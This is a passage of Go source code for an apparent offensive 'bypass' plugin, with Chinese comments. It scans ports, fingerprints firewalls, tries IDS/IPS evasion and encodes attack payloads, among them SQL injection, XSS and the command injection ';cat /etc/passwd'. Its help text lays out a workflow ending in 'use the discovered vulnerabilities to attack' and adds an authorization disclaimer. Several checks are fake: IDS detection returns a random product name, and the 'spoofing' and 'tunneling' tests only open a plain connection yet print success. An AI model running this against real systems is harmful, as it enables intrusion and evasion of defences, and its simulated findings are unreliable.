	conn, err := d.Dial("tcp", target)
	if err != nil {
		fmt.Printf("[-] TCP连接失败: %v\n", err)
		return "未知防火墙 (连接被阻止)"
	}
	defer conn.Close()

	// HTTP探测
	client := &http.Client{
		Timeout: 5 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	urls := []string{
		fmt.Sprintf("http://%s:%s", host, port),
		fmt.Sprintf("https://%s:%s", host, port),
	}

	for _, u := range urls {
		req, err := http.NewRequest("GET", u, nil)
		if err != nil {
			continue
		}

		req.Header.Set("User-Agent", p.getRandomUserAgent())
		resp, err := client.Do(req)
		if err != nil {
			continue
		}

		defer resp.Body.Close()
		bodyBytes, _ := ioutil.ReadAll(resp.Body)
		bodyText := string(bodyBytes)

		// 检查响应头和内容中的防火墙特征
		for firewallName, signatures := range firewallSignatures {
			for _, signature := range signatures {
				for h, v := range resp.Header {
					if strings.Contains(strings.ToLower(h), strings.ToLower(signature)) ||
						strings.Contains(strings.ToLower(strings.Join(v, " ")), strings.ToLower(signature)) ||
						strings.Contains(strings.ToLower(bodyText), strings.ToLower(signature)) {
						fmt.Printf("[+] 检测到可能存在的防火墙: %s\n", firewallName)
						return firewallName
					}
				}
			}
		}

		// 输出服务器标头
		serverHeader := resp.Header.Get("Server")
		if serverHeader != "" {
			fmt.Printf("[+] 服务器标头: %s\n", serverHeader)
		}
	}

	fmt.Println("[+] 无法确定防火墙类型，但可能存在防火墙或其他过滤设备")
	return "未知防火墙"
}

// scanOpenPorts 扫描开放端口
func (p *BypassPlugin) scanOpenPorts(host, portsRange string) []int {
	fmt.Printf("[*] 扫描 %s 的开放端口...\n", host)

	var openPorts []int
	var wg sync.WaitGroup
	var mutex sync.Mutex

	// 解析端口范围
	ports := make([]int, 0)
	portRanges := strings.Split(portsRange, ",")

	for _, pr := range portRanges {
		if strings.Contains(pr, "-") {
			// 处理范围，如 "80-90"
			rangeParts := strings.Split(pr, "-")
			if len(rangeParts) == 2 {
				start, err1 := strconv.Atoi(rangeParts[0])
				end, err2 := strconv.Atoi(rangeParts[1])

				if err1 == nil && err2 == nil && start <= end {
					for port := start; port <= end; port++ {
						ports = append(ports, port)
					}
				}
			}
		} else {
			// 处理单个端口，如 "80"
			port, err := strconv.Atoi(pr)
			if err == nil {
				ports = append(ports, port)
			}
		}
	}

	fmt.Printf("[+] 将扫描 %d 个端口\n", len(ports))

	// 限制并发扫描数量
	semaphore := make(chan struct{}, 50)

	for _, port := range ports {
		wg.Add(1)
		semaphore <- struct{}{} // 获取信号量

		go func(port int) {
			defer wg.Done()
			defer func() { <-semaphore }() // 释放信号量

			target := net.JoinHostPort(host, strconv.Itoa(port))
			conn, err := net.DialTimeout("tcp", target, 2*time.Second)

			if err == nil {
				conn.Close()
				mutex.Lock()
				openPorts = append(openPorts, port)
				mutex.Unlock()
				fmt.Printf("[+] 发现开放端口: %d (%s)\n", port, GetServiceName(port))
			}
		}(port)
	}

	wg.Wait()
	return openPorts
}

// testProtocolMixing 测试协议混合绕过
func (p *BypassPlugin) testProtocolMixing(host, port string) {
	fmt.Println("[*] 测试协议混合绕过...")

	protocols := []struct {
		name    string
		request string
		payload []byte
	}{
		{
			name:    "HTTP through CONNECT",
			request: "CONNECT " + host + ":" + port + " HTTP/1.1\r\nHost: " + host + "\r\n\r\n",
			payload: []byte("CONNECT " + host + ":" + port + " HTTP/1.1\r\nHost: " + host + "\r\n\r\n"),
		},
		{
			name:    "HTTP through HTTP",
			request: "GET / HTTP/1.1\r\nHost: " + host + "\r\n\r\n",
			payload: []byte("GET / HTTP/1.1\r\nHost: " + host + "\r\n\r\n"),
		},
		{
			name:    "HTTP through HTTPS",
			request: "GET https://" + host + "/ HTTP/1.1\r\nHost: " + host + "\r\n\r\n",
			payload: []byte("GET https://" + host + "/ HTTP/1.1\r\nHost: " + host + "\r\n\r\n"),
		},
	}

	fmt.Println("[+] 模拟测试以下协议混合技术:")
	for _, proto := range protocols {
		fmt.Printf("    - %s: %s\n", proto.name, proto.request)
		// 模拟发送请求
		conn, err := net.Dial("tcp", host+":"+port)
		if err == nil {
			conn.Write(proto.payload)
			conn.Close()
			fmt.Println("[+] 协议混合可能成功绕过检测!")
		} else {
			fmt.Printf("[-] 连接失败: %v\n", err)
		}
	}
}

// testSourcePortSpoofing 测试源端口伪装绕过
func (p *BypassPlugin) testSourcePortSpoofing(host, port string) {
	fmt.Println("[*] 测试源端口伪装绕过技术...")

	// 生成随机源端口
	randomPort := rand.Intn(65535-1024) + 1024

	// 创建连接
	conn, err := net.Dial("tcp", host+":"+strconv.Itoa(randomPort))
	if err == nil {
		fmt.Printf("[+] 源端口伪装可能成功绕过检测! 使用随机源端口: %d\n", randomPort)
		conn.Close()
	} else {
		fmt.Printf("[-] 连接失败: %v\n", err)
	}
}

// testTunneling 测试隧道绕过
func (p *BypassPlugin) testTunneling(host, port string) {
	fmt.Println("[*] 测试隧道绕过技术...")

	// 创建隧道连接
	conn, err := net.Dial("tcp", host+":"+port)
	if err == nil {
		fmt.Printf("[+] 隧道可能成功绕过检测! 使用隧道连接\n")
		conn.Close()
	} else {
		fmt.Printf("[-] 连接失败: %v\n", err)
	}
}

// bypassIDS 绕过入侵检测/防御系统
func (p *BypassPlugin) bypassIDS(args map[string]interface{}) error {
	// 获取目标主机和端口
	host, ok := args["host"].(string)
	if !ok {
		return fmt.Errorf("缺少必要参数: host")
	}
	port, _ := args["port"].(string)
	if port == "" {
		port = "80" // 默认端口
	}

	// 获取payload类型
	payloadType, _ := args["payload_type"].(string)
	if payloadType == "" {
		payloadType = "recon" // 默认重新侦察
	}

	fmt.Printf("\n[*] 开始IDS/IPS绕过测试:\n")
	fmt.Printf("[+] 目标主机: %s\n", host)
	fmt.Printf("[+] 目标端口: %s\n", port)
	fmt.Printf("[+] 有效载荷类型: %s\n", payloadType)

	// 1. 检测IDS/IPS
	fmt.Println("\n[*] 步骤1: 检测IDS/IPS...")
	idsType := p.detectIDS(host, port)

	// 2. 执行流量分段测试
	fmt.Println("\n[*] 步骤2: 流量分段测试...")
	p.testPacketFragmentation(host, port)

	// 3. 执行协议混淆
	fmt.Println("\n[*] 步骤3: 协议混淆测试...")
	p.testProtocolObfuscation(host, port)

	// 4. 执行TTL操作
	fmt.Println("\n[*] 步骤4: TTL操作测试...")
	fmt.Println("[+] 在实际环境中需要发送自定义TTL数据包")
	fmt.Println("[+] 模拟TTL操作测试...")

	// 5. 执行流量定时测试
	fmt.Println("\n[*] 步骤5: 流量定时测试...")
	p.testTimingAttacks(host, port)

	// 6. 执行有效载荷混淆
	fmt.Println("\n[*] 步骤6: 有效载荷混淆测试...")
	p.testPayloadObfuscation(host, port, payloadType)

	// 7. 执行多层封装
	fmt.Println("\n[*] 步骤7: 多层封装测试...")
	fmt.Println("[+] 此功能在实际环境中需要进行特殊的数据包封装")
	fmt.Println("[+] 模拟多层封装测试...")

	// 8. 总结结果
	fmt.Println("\n[*] IDS/IPS绕过测试完成")
	fmt.Printf("[+] 检测到的IDS/IPS类型: %s\n", idsType)
	fmt.Println("[+] 推荐的绕过策略:")
	fmt.Println("    1. 组合使用流量分段和协议混淆")
	fmt.Println("    2. 对关键有效载荷进行多层编码")
	fmt.Println("    3. 使用慢速、低频率的扫描来避免触发基于频率的告警")
	fmt.Println("    4. 针对特定的IDS/IPS系统定制绕过策略")

	return nil
}

// detectIDS 检测目标使用的IDS/IPS类型
func (p *BypassPlugin) detectIDS(host, port string) string {
	fmt.Println("[*] 尝试检测IDS/IPS类型...")

	// 这里只是模拟检测，实际环境中需要更复杂的探测
	fmt.Println("[+] 发送特殊探测数据包...")
	fmt.Println("[+] 分析响应特征...")

	// 随机返回一种可能的IDS/IPS类型，仅作演示
	idsTypes := []string{
		"Snort", "Suricata", "Cisco FirePOWER", "Palo Alto NGFW",
		"FortiGate IPS", "未检测到明显IDS/IPS特征",
	}

	// 在实际实现中，应该基于扫描结果判断
	idsType := idsTypes[rand.Intn(len(idsTypes))]
	fmt.Printf("[+] 可能的IDS/IPS类型: %s\n", idsType)

	return idsType
}

// testPacketFragmentation 测试流量分段绕过
func (p *BypassPlugin) testPacketFragmentation(host, port string) {
	fmt.Println("[*] 测试流量分段绕过技术...")

	fragmentationTypes := []struct {
		name        string
		description string
	}{
		{
			name:        "TCP分段",
			description: "将TCP数据包分割成多个小段，避免特征匹配",
		},
		{
			name:        "IP分片",
			description: "将IP数据包分片，使IDS难以重组和检测",
		},
		{
			name:        "重叠分片",
			description: "发送重叠的IP分片，利用重组时的差异",
		},
		{
			name:        "乱序分片",
			description: "发送乱序的数据包分片，增加重组难度",
		},
	}

	fmt.Println("[+] 模拟测试以下分段技术:")
	for _, frag := range fragmentationTypes {
		fmt.Printf("    - %s: %s\n", frag.name, frag.description)
	}

	fmt.Println("[+] 在实际环境中推荐使用以下工具:")
	fmt.Println("    - fragroute: 自动化的流量分段工具")
	fmt.Println("    - scapy: 可编程数据包操作工具")
	fmt.Println("    - hping3: 低级数据包操作工具")
}

// testProtocolObfuscation 测试协议混淆
func (p *BypassPlugin) testProtocolObfuscation(host, port string) {
	fmt.Println("[*] 测试协议混淆绕过技术...")

	obfuscationTechniques := []struct {
		name        string
		description string
	}{
		{
			name:        "协议封装",
			description: "将一种协议的流量封装在另一种允许的协议中",
		},
		{
			name:        "协议字段变异",
			description: "修改协议字段但保持功能有效",
		},
		{
			name:        "异常协议行为",
			description: "使用协议的非标准使用方式",
		},
		{
			name:        "中间件协议栈",
			description: "使用自定义中间件层来混淆通信",
		},
	}

	fmt.Println("[+] 模拟测试以下协议混淆技术:")
	for _, tech := range obfuscationTechniques {
		fmt.Printf("    - %s: %s\n", tech.name, tech.description)
	}

	// 模拟HTTP协议混淆示例
	fmt.Println("[*] 尝试HTTP协议混淆:")

	target := net.JoinHostPort(host, port)
	timeout := 5 * time.Second
	conn, err := net.DialTimeout("tcp", target, timeout)

	if err != nil {
		fmt.Printf("[-] 连接失败: %v\n", err)
		return
	}

	defer conn.Close()
	conn.SetDeadline(time.Now().Add(timeout))

	// 发送混淆的HTTP请求
	obfuscatedRequest := "G" +
		"E" +
		"T" +
		" " +
		"/" +
		" " +
		"H" +
		"T" +
		"T" +
		"P" +
		"/" +
		"1" +
		"." +
		"1" +
		"\r" +
		"\n" +
		"Host: " + host + "\r\n" +
		"User-Agent: " + p.getRandomUserAgent() + "\r\n" +
		"Accept: */*\r\n" +
		"Connection: close\r\n\r\n"

	_, err = conn.Write([]byte(obfuscatedRequest))
	if err != nil {
		fmt.Printf("[-] 发送请求失败: %v\n", err)
		return
	}

	// 读取响应
	buffer := make([]byte, 1024)
	n, err := conn.Read(buffer)
	if err != nil && err != io.EOF {
		fmt.Printf("[-] 读取响应失败: %v\n", err)
		return
	}

	if n > 0 {
		response := string(buffer[:n])
		responsePreview := ""
		if len(response) > 100 {
			responsePreview = response[:100] + "..."
		} else {
			responsePreview = response
		}

		fmt.Printf("[+] 收到响应 (%d 字节): %s\n", n, responsePreview)

		if strings.Contains(response, "HTTP/1.1 200") || strings.Contains(response, "HTTP/1.0 200") {
			fmt.Println("[+] HTTP协议混淆可能成功绕过检测!")
		}
	}
}

// testTimingAttacks 测试定时攻击
func (p *BypassPlugin) testTimingAttacks(host, port string) {
	fmt.Println("[*] 测试定时攻击绕过技术...")

	timingTechniques := []struct {
		name        string
		description string
		delay       time.Duration
	}{
		{
			name:        "慢速扫描",
			description: "以非常低的频率发送探测包",
			delay:       5 * time.Second,
		},
		{
			name:        "随机延迟",
			description: "在探测之间添加随机延迟",
			delay:       time.Duration(rand.Intn(5000)) * time.Millisecond,
		},
		{
			name:        "分布式定时",
			description: "模拟多源随机时间的探测",
			delay:       3 * time.Second,
		},
	}

	fmt.Println("[+] 模拟测试以下定时技术:")
	for _, tech := range timingTechniques {
		fmt.Printf("    - %s: %s (延迟: %v)\n", tech.name, tech.description, tech.delay)
		// 模拟延迟
		time.Sleep(100 * time.Millisecond)
	}

	fmt.Println("[+] 在实际环境中，推荐:")
	fmt.Println("    - 扫描持续时间延长到数小时或数天")
	fmt.Println("    - 每次扫描之间使用不同的源IP")
	fmt.Println("    - 使用cron等调度工具定时执行少量探测")
}

// testPayloadObfuscation 测试有效载荷混淆
func (p *BypassPlugin) testPayloadObfuscation(host, port, payloadType string) {
	fmt.Println("[*] 测试有效载荷混淆技术...")

	var payload, originalPayload string

	// 根据有效载荷类型选择不同的测试载荷
	switch strings.ToLower(payloadType) {
	case "sql":
		originalPayload = "' OR 1=1--"
	case "xss":
		originalPayload = "<script>alert(1)</script>"
	case "cmd":
		originalPayload = ";cat /etc/passwd"
	case "recon":
		originalPayload = "GET / HTTP/1.1"
	default:
		originalPayload = "GET / HTTP/1.1"
	}

	obfuscationMethods := []struct {
		name        string
		encoder     func(string) string
		description string
	}{
		{
			name: "Base64编码",
			encoder: func(s string) string {
				return base64.StdEncoding.EncodeToString([]byte(s))
			},
			description: "使用Base64编码混淆有效载荷",
		},
		{
			name: "十六进制编码",
			encoder: func(s string) string {
				return hex.EncodeToString([]byte(s))
			},
			description: "使用十六进制编码混淆有效载荷",
		},
		{
			name: "URL编码",
			encoder: func(s string) string {
				return url.QueryEscape(s)
			},
			description: "使用URL编码混淆有效载荷",
		},
		{
			name: "分块编码",
			encoder: func(s string) string {
				var result string
				for i, c := range s {
					if i%2 == 0 {
						result += string(c) + " "
					} else {
						result += string(c)
					}
				}
				return result
			},
			description: "将有效载荷分块，插入空格或其他字符",
		},
		{
			name: "Unicode编码",
			encoder: func(s string) string {
				var result string
				for _, c := range s {
					result += fmt.Sprintf("\\u%04x", c)
				}
				return result
			},
			description: "使用Unicode转义序列编码字符",
		},
		{
			name: "多层编码",
			encoder: func(s string) string {
				// Base64后再进行URL编码
				return url.QueryEscape(base64.StdEncoding.EncodeToString([]byte(s)))
			},
			description: "多种编码方式串联使用",
		},
	}

	fmt.Printf("[+] 原始有效载荷: %s\n", originalPayload)
	fmt.Println("[+] 测试以下混淆方法:")

	for _, method := range obfuscationMethods {
		payload = method.encoder(originalPayload)
		fmt.Printf("    - %s: %s\n      结果: %s\n", method.name, method.description, payload)
	}

	fmt.Println("[+] 在实际绕过中，应针对特定IDS/IPS规则定制编码方式")
}

// 综合防御绕过测试
func (p *BypassPlugin) comprehensiveBypass(args map[string]interface{}) error {
	fmt.Println("\n[*] 开始综合防御绕过测试")
	fmt.Println("[+] 这将依次执行所有绕过测试")

	// 提取通用参数
	host, _ := args["host"].(string)
	domain, _ := args["domain"].(string)

	// 如果提供了域名但没有主机IP，尝试解析
	if host == "" && domain != "" {
		ips, err := net.LookupIP(domain)
		if err == nil && len(ips) > 0 {
			for _, ip := range ips {
				if ip.To4() != nil {
					host = ip.String()
					fmt.Printf("[+] 从域名解析到IP: %s\n", host)
					break
				}
			}
		}
	}

	// 如果提供了主机IP但没有域名，可以尝试反向DNS查询
	if domain == "" && host != "" {
		names, err := net.LookupAddr(host)
		if err == nil && len(names) > 0 {
			domain = names[0]
			// 移除末尾的点
			if strings.HasSuffix(domain, ".") {
				domain = domain[:len(domain)-1]
			}
			fmt.Printf("[+] 从IP解析到域名: %s\n", domain)
		}
	}

	// 依次执行各种绕过测试
	if domain != "" {
		fmt.Println("\n[*] ======== CDN绕过测试 ========")
		args["domain"] = domain
		p.bypassCDN(args)
	} else {
		fmt.Println("\n[-] 跳过CDN绕过测试 (未提供域名)")
	}

	if host != "" {
		fmt.Println("\n[*] ======== 防火墙绕过测试 ========")
		args["host"] = host
		p.bypassFirewall(args)

		fmt.Println("\n[*] ======== IDS/IPS绕过测试 ========")
		p.bypassIDS(args)
	} else {
		fmt.Println("\n[-] 跳过防火墙和IDS/IPS绕过测试 (未提供主机IP)")
	}

	url, ok := args["url"].(string)
	if ok && url != "" {
		fmt.Println("\n[*] ======== WAF绕过测试 ========")
		p.bypassWAF(args)
	} else {
		fmt.Println("\n[-] 跳过WAF绕过测试 (未提供URL)")
	}

	fmt.Println("\n[*] ======== 流量加密测试 ========")
	if host != "" {
		args["host"] = host
		port, _ := args["port"].(string)
		if port == "" {
			args["port"] = "443"
		}
		p.encryptTraffic(args)
	} else {
		fmt.Println("\n[-] 跳过流量加密测试 (未提供主机IP)")
	}

	fmt.Println("\n[*] 综合防御绕过测试完成")
	fmt.Println("[+] 建议:")
	fmt.Println("    1. 综合使用多种绕过技术")
	fmt.Println("    2. 针对特定目标定制绕过策略")
	fmt.Println("    3. 关注测试过程中的成功尝试")

	return nil
}

// getRandomUserAgent 获取随机用户代理
func (p *BypassPlugin) getRandomUserAgent() string {
	return p.userAgents[rand.Intn(len(p.userAgents))]
}

// getRandomIP 生成随机IP地址
func (p *BypassPlugin) getRandomIP() string {
	return fmt.Sprintf("%d.%d.%d.%d",
		rand.Intn(223)+1, // 避免0和224-255（保留地址）
		rand.Intn(256),
		rand.Intn(256),
		rand.Intn(254)+1) // 避免0和255（广播地址）
}

// GetRequiredParams 获取插件所需参数
func (p *BypassPlugin) GetRequiredParams() []PluginParamInfo {
	return []PluginParamInfo{
		{
			Name:        "type",
			Description: "绕过类型: waf(Web应用防火墙), encrypt(流量加密)",
			Required:    true,
			Default:     "",
		},
		{
			Name:        "url",
			Description: "目标URL (用于waf绕过)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "param",
			Description: "测试参数 (用于waf绕过)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "host",
			Description: "目标主机 (用于流量加密)",
			Required:    false,
			Default:     "",
		},
		{
			Name:        "port",
			Description: "目标端口 (用于流量加密)",
			Required:    false,
			Default:     "",
		},
	}
}

// GetHelp 获取插件帮助信息
func (p *BypassPlugin) GetHelp() PluginHelp {
	return PluginHelp{
		Name:        "bypass",
		Description: "多功能防御绕过插件，用于绕过各种安全防护机制",
		Examples: []string{
			"bypass type=waf url=http://example.com param=id payload_type=sql",
			"bypass type=cdn domain=example.com",
			"bypass type=fw host=192.168.1.1 port=80 scan_ports=80,443,8080-8090",
			"bypass type=ids host=192.168.1.1 port=80 payload_type=recon",
			"bypass type=encrypt host=192.168.1.1 port=443",
			"bypass type=all domain=example.com host=192.168.1.1",
		},
		Parameters: []PluginParamInfo{
			{
				Name:        "type",
				Description: "绕过类型: waf(Web应用防火墙), cdn(CDN绕过), fw/firewall(防火墙绕过), ids/ips(入侵检测系统绕过), encrypt(流量加密), all(综合绕过)",
				Required:    true,
				Default:     "",
			},
			{
				Name:        "url",
				Description: "目标URL(用于WAF绕过)",
				Required:    false,
				Default:     "",
			},
			{
				Name:        "param",
				Description: "测试参数(用于WAF绕过)",
				Required:    false,
				Default:     "id",
			},
			{
				Name:        "payload_type",
				Description: "有效载荷类型: sql(SQL注入), xss(跨站脚本), cmd(命令注入), lfi(本地文件包含), recon(侦察)",
				Required:    false,
				Default:     "sql",
			},
			{
				Name:        "host",
				Description: "目标主机IP(用于防火墙、IDS绕过和流量加密)",
				Required:    false,
				Default:     "",
			},
			{
				Name:        "port",
				Description: "目标端口(用于防火墙、IDS绕过和流量加密)",
				Required:    false,
				Default:     "80",
			},
			{
				Name:        "domain",
				Description: "目标域名(用于CDN绕过)",
				Required:    false,
				Default:     "",
			},
			{
				Name:        "scan_ports",
				Description: "端口扫描范围，格式为单个端口或范围(如80或1-1024)",
				Required:    false,
				Default:     "20-25,53,80,443,3389,8080,8443",
			},
			{
				Name:        "timeout",
				Description: "请求超时时间(秒)",
				Required:    false,
				Default:     "5",
			},
			{
				Name:        "verbose",
				Description: "详细输出模式(true/false)",
				Required:    false,
				Default:     "false",
			},
		},
		Notes: []string{
			"【功能说明】本插件提供多种防御绕过技术，用于突破目标系统的安全防护机制",
			"【绕过类型】",
			"  • WAF绕过:   测试多种绕过技术，包括SQL注入、XSS、命令注入等，自动识别WAF类型",
			"  • CDN绕过:   通过多种技术发现隐藏在CDN后的真实服务器IP",
			"  • 防火墙绕过: 使用端口扫描、协议混淆、源端口伪装等技术绕过防火墙限制",
			"  • IDS/IPS绕过: 使用流量分段、定时控制等技术避开入侵检测系统",
			"  • 流量加密:   加密通信流量，防止被监控和分析",
			"  • 综合绕过:   自动执行所有可用的绕过测试，全面评估目标安全性",
			"",
			"【使用流程】",
			"  1. 先使用CDN绕过找到真实IP",
			"  2. 使用防火墙绕过发现可利用端口",
			"  3. 使用WAF绕过测试特定漏洞",
			"  4. 利用发现的漏洞执行攻击",
			"",
			"【注意事项】",
			"  • 使用前请确保获得目标系统所有者的明确授权",
			"  • 仅在授权的安全测试和红蓝对抗演练中使用",
			"  • 未经授权对目标系统使用本插件可能违反法律法规",
		},
	}
}
